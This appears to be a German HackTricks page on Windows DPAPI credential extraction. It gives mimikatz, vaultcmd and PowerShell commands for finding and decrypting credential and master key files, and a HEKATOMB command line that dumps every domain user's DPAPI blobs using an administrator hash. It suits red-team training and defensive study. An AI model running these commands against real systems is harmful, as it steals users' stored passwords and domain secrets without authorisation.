DPAPI - Extracting Passwords

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

​​RootedCON ist das relevanteste Cybersicherheitsereignis in Spanien und eines der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.

Was ist DPAPI

Die Data Protection API (DPAPI) wird hauptsächlich im Windows-Betriebssystem für die symmetrische Verschlüsselung asymmetrischer privater Schlüssel verwendet, wobei entweder Benutzer- oder Systemgeheimnisse als wesentliche Entropiequelle genutzt werden. Dieser Ansatz vereinfacht die Verschlüsselung für Entwickler, indem sie es ihnen ermöglicht, Daten mit einem Schlüssel zu verschlüsseln, der aus den Anmeldegeheimnissen des Benutzers oder für die Systemverschlüsselung aus den Domänenauthentifizierungsgeheimnissen des Systems abgeleitet ist, wodurch Entwickler nicht mehr den Schutz des Verschlüsselungsschlüssels selbst verwalten müssen.

Von DPAPI geschützte Daten

Zu den persönlichen Daten, die von DPAPI geschützt werden, gehören:

  • Passwörter und Autovervollständigungsdaten von Internet Explorer und Google Chrome

  • E-Mail- und interne FTP-Kontopasswörter für Anwendungen wie Outlook und Windows Mail

  • Passwörter für freigegebene Ordner, Ressourcen, drahtlose Netzwerke und Windows-Tresor, einschließlich Verschlüsselungsschlüssel

  • Passwörter für Remote-Desktop-Verbindungen, .NET Passport und private Schlüssel für verschiedene Verschlüsselungs- und Authentifizierungszwecke

  • Netzwerkpässe, die vom Anmeldeinformations-Manager verwaltet werden, und persönliche Daten in Anwendungen, die CryptProtectData verwenden, wie Skype, MSN Messenger und mehr

Liste der Tresore

# From cmd
vaultcmd /listcreds:"Windows Credentials" /all

# From mimikatz
mimikatz vault::list

Anmeldeinformationsdateien

Die geschützten Anmeldeinformationsdateien könnten sich befinden in:

dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Verwenden Sie mimikatz dpapi::cred, um Anmeldeinformationen abzurufen. In der Antwort finden Sie interessante Informationen wie die verschlüsselten Daten und die guidMasterKey.

mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7

[...]
guidMasterKey      : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData             : b8f619[...snip...]b493fe
[..]

Du kannst das Mimikatz-Modul dpapi::cred mit dem entsprechenden /masterkey verwenden, um zu entschlüsseln:

dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>

Master Keys

Die DPAPI-Schlüssel, die zur Verschlüsselung der RSA-Schlüssel des Benutzers verwendet werden, werden im Verzeichnis %APPDATA%\Microsoft\Protect\{SID} gespeichert, wobei {SID} die Sicherheitskennung dieses Benutzers ist. Der DPAPI-Schlüssel wird in derselben Datei wie der Master-Schlüssel gespeichert, der die privaten Schlüssel der Benutzer schützt. Normalerweise handelt es sich um 64 Bytes zufälliger Daten. (Beachten Sie, dass dieses Verzeichnis geschützt ist, sodass Sie es nicht mit dir aus der Eingabeaufforderung auflisten können, aber Sie können es von PS aus auflisten).

Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}

Dies ist, wie eine Reihe von Master Keys eines Benutzers aussehen wird:

Normalerweise ist jeder Master Key ein verschlüsselter symmetrischer Schlüssel, der anderen Inhalt entschlüsseln kann. Daher ist es interessant, den verschlüsselten Master Key zu extrahieren, um später den anderen damit verschlüsselten Inhalt zu entschlüsseln.

Master Key extrahieren & entschlüsseln

Überprüfen Sie den Beitrag https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++ für ein Beispiel, wie der Master Key extrahiert und entschlüsselt wird.

SharpDPAPI

SharpDPAPI ist ein C#-Port einiger DPAPI-Funktionalitäten aus @gentilkiwi's Mimikatz Projekt.

HEKATOMB

HEKATOMB ist ein Tool, das die Extraktion aller Benutzer und Computer aus dem LDAP-Verzeichnis sowie die Extraktion des Backup-Schlüssels des Domänencontrollers durch RPC automatisiert. Das Skript wird dann alle IP-Adressen der Computer auflösen und auf allen Computern eine smbclient ausführen, um alle DPAPI-Blobs aller Benutzer abzurufen und alles mit dem Domänen-Backup-Schlüssel zu entschlüsseln.

python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp

Mit der aus dem LDAP extrahierten Liste der Computer können Sie jedes Subnetz finden, auch wenn Sie sie nicht kannten!

"Weil Domänenadministratorrechte nicht ausreichen. Hacke sie alle."

DonPAPI

DonPAPI kann automatisch Secrets dumpen, die durch DPAPI geschützt sind.

Referenzen

RootedCON ist das relevanteste Cybersicherheitsereignis in Spanien und eines der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Last updated